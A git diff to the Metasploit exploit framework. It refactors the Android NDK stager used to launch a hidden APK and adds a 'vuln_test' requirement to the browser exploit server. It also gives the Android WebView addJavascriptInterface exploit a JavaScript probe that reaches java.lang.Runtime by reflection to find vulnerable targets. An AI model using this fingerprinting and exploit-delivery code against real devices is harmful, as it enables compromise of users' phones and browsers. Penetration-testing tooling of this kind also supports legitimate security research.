diff --git a/lib/msf/core/exploit/android.rb b/lib/msf/core/exploit/android.rb index 32fece6c49..ae125e6064 100644 --- a/lib/msf/core/exploit/android.rb +++ b/lib/msf/core/exploit/android.rb @@ -89,8 +89,8 @@ module Exploit::Android # The NDK stager is used to launch a hidden APK def ndkstager(stagename, arch) - localfile = File.join(Msf::Config::InstallRoot, 'data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so') - data = File.read(localfile, :mode => 'rb') + path = ['data', 'android', 'libs', NDK_FILES[arch] || arch, 'libndkstager.so'] + data = File.read(File.join(Msf::Config::InstallRoot, *path), :mode => 'rb') data.gsub!('PLOAD', stagename) end diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 8717fdfc08..51c7f7482e 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -3,6 +3,7 @@ require 'erb' require 'cgi' require 'date' +require 'set' require 'rex/exploitation/js' require 'msf/core/exploit/jsobfu' @@ -23,43 +24,43 @@ module Msf # this must be static between runs, otherwise the older cookies will be ignored DEFAULT_COOKIE_NAME = '__ua' - PROXY_REQUEST_HEADER_SET = Set.new( - %w{ - CLIENT_IP - FORWARDED - FORWARDED_FOR - FORWARDED_FOR_IP - HTTP_CLIENT_IP - HTTP_FORWARDED - HTTP_FORWARDED_FOR - HTTP_FORWARDED_FOR_IP - HTTP_PROXY_CONNECTION - HTTP_VIA - HTTP_X_FORWARDED - HTTP_X_FORWARDED_FOR - VIA - X_FORWARDED - X_FORWARDED_FOR - }) + PROXY_REQUEST_HEADER_SET = Set.new(%w{ + CLIENT_IP + FORWARDED + FORWARDED_FOR + FORWARDED_FOR_IP + HTTP_CLIENT_IP + HTTP_FORWARDED + HTTP_FORWARDED_FOR + HTTP_FORWARDED_FOR_IP + HTTP_PROXY_CONNECTION + HTTP_VIA + HTTP_X_FORWARDED + HTTP_X_FORWARDED_FOR + VIA + X_FORWARDED + X_FORWARDED_FOR + }) # Requirements a browser module can define in either BrowserRequirements or in targets - REQUIREMENT_KEY_SET = { - :source => 'source', # Either 'script' or 'headers' - :ua_name => 'ua_name', # Example: MSIE - :ua_ver => 'ua_ver', # Example: 8.0, 9.0 - :os_name => 'os_name', # Example: Microsoft Windows - :os_flavor => 'os_flavor', # Example: XP, 7 - :language => 'language', # Example: en-us - :arch => 'arch', # Example: x86 - :proxy => 'proxy', # 'true' or 'false' - :silverlight => 'silverlight', # 'true' or 'false' - :office => 'office', # Example: "2007", "2010" - :java => 'java', # Example: 1.6, 1.6.0.0 - :clsid => 'clsid', # ActiveX clsid. Also requires the :method key - :method => 'method', # ActiveX method. Also requires the :clsid key - :mshtml_build => 'mshtml_build', # mshtml build. Example: "65535" - :flash => 'flash' # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE) - } + REQUIREMENT_KEY_SET = Set.new([ + :source, # Either 'script' or 'headers' + :ua_name, # Example: MSIE + :ua_ver, # Example: 8.0, 9.0 + :os_name, # Example: Microsoft Windows + :os_flavor, # Example: XP, 7 + :language, # Example: en-us + :arch, # Example: x86 + :proxy, # 'true' or 'false' + :silverlight, # 'true' or 'false' + :office, # Example: "2007", "2010" + :java, # Example: 1.6, 1.6.0.0 + :clsid, # ActiveX clsid. Also requires the :method key + :method, # ActiveX method. Also requires the :clsid key + :mshtml_build, # mshtml build. Example: "65535" + :flash, # Example: "12.0" (chrome/ff) or "12.0.0.77" (IE) + :vuln_test # Example: "if(window.MyComponentIsInstalled)return true;" + ]) def initialize(info={}) super @@ -129,7 +130,7 @@ module Msf # @return [Hash] A hash of requirements # def extract_requirements(reqs) - tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.has_key?(k.to_sym)} + tmp = reqs.select {|k,v| REQUIREMENT_KEY_SET.include?(k.to_sym)} # Make sure keys are always symbols Hash[tmp.map{|(k,v)| [k.to_sym,v]}] end @@ -189,9 +190,12 @@ module Msf # Special keys to ignore because the script registers this as [:activex] = true or false next if k == :clsid or k == :method - vprint_debug("Comparing requirement: #{k}=#{v} vs k=#{profile[k.to_sym]}") + expected = k != :vuln_test ? v : 'true' + vprint_debug("Comparing requirement: #{k}=#{expected} vs #{k}=#{profile[k.to_sym]}") - if v.is_a? Regexp + if k == :vuln_test + bad_reqs << k unless profile[k.to_sym].to_s == 'true' + elsif v.is_a? Regexp bad_reqs << k if profile[k.to_sym] !~ v elsif v.is_a? Proc bad_reqs << k unless v.call(profile[k.to_sym]) @@ -375,19 +379,20 @@ module Msf window.onload = function() { var osInfo = os_detect.getVersion(); var d = { - "<%=REQUIREMENT_KEY_SET[:os_name]%>" : osInfo.os_name, - "<%=REQUIREMENT_KEY_SET[:os_flavor]%>" : osInfo.os_flavor, - "<%=REQUIREMENT_KEY_SET[:ua_name]%>" : osInfo.ua_name, - "<%=REQUIREMENT_KEY_SET[:ua_ver]%>" : osInfo.ua_version, - "<%=REQUIREMENT_KEY_SET[:arch]%>" : osInfo.arch, - "<%=REQUIREMENT_KEY_SET[:java]%>" : misc_addons_detect.getJavaVersion(), - "<%=REQUIREMENT_KEY_SET[:silverlight]%>" : misc_addons_detect.hasSilverlight(), - "<%=REQUIREMENT_KEY_SET[:flash]%>" : misc_addons_detect.getFlashVersion() + "os_name" : osInfo.os_name, + "os_flavor" : osInfo.os_flavor, + "ua_name" : osInfo.ua_name, + "ua_ver" : osInfo.ua_version, + "arch" : osInfo.arch, + "java" : misc_addons_detect.getJavaVersion(), + "silverlight" : misc_addons_detect.hasSilverlight(), + "flash" : misc_addons_detect.getFlashVersion(), + "vuln_test" : <%= js_vuln_test %> }; <% if os == OperatingSystems::WINDOWS and client == HttpClients::IE %> - d['<%=REQUIREMENT_KEY_SET[:office]%>'] = ie_addons_detect.getMsOfficeVersion(); - d['<%=REQUIREMENT_KEY_SET[:mshtml_build]%>'] = ScriptEngineBuildVersion().toString(); + d['office'] = ie_addons_detect.getMsOfficeVersion(); + d['mshtml_build'] = ScriptEngineBuildVersion().toString(); <% clsid = @requirements[:clsid] method = @requirements[:method] @@ -497,6 +502,12 @@ module Msf method(:on_request_exploit).call(cli, request, profile) else print_warning("Exploit requirement(s) not met: #{bad_reqs * ', '}. For more info: http://r-7.co/PVbcgx") + if bad_reqs.include?(:vuln_test) + error_string = (self.module_info['BrowserRequirements'] || {})[:vuln_test_error] + if error_string.present? + print_warning(error_string) + end + end send_not_found(cli) end end @@ -555,5 +566,17 @@ module Msf regenerate_payload(cli, platform, arch).encoded end + # @return [String] custom Javascript to check if a vulnerability is present + # @return [nil] when no such test is specified by the module + def js_vuln_test + all_reqs = self.module_info['BrowserRequirements'] || {} + if all_reqs[:vuln_test].present? + code = all_reqs[:vuln_test] + ';return !!this.is_vuln;' + 'Function(('+JSON.generate(:code => code)+').code)()' + else + 'true' + end + end + end end diff --git a/modules/exploits/android/browser/webview_addjavascriptinterface.rb b/modules/exploits/android/browser/webview_addjavascriptinterface.rb index c6571e90ce..1ee4103a6f 100644 --- a/modules/exploits/android/browser/webview_addjavascriptinterface.rb +++ b/modules/exploits/android/browser/webview_addjavascriptinterface.rb @@ -12,18 +12,20 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Android + VULN_CHECK_JS = %Q| + for (i in top) { + try { + top[i].getClass().forName('java.lang.Runtime'); + is_vuln = true; break; + } catch(e) {} + } + | + autopwn_info( :os_flavor => 'Android', :javascript => true, :rank => ExcellentRanking, - :vuln_test => %Q| - for (i in top) { - try { - top[i].getClass().forName('java.lang.Runtime'); - is_vuln = true; break; - } catch(e) {} - } - | + :vuln_test => VULN_CHECK_JS ) def initialize(info = {}) @@ -71,7 +73,9 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', - :os_flavor => 'Android' + :os_flavor => 'Android', + :vuln_test => VULN_CHECK_JS, + :vuln_test_error => 'No vulnerable Java objects were found in this web context.' } ))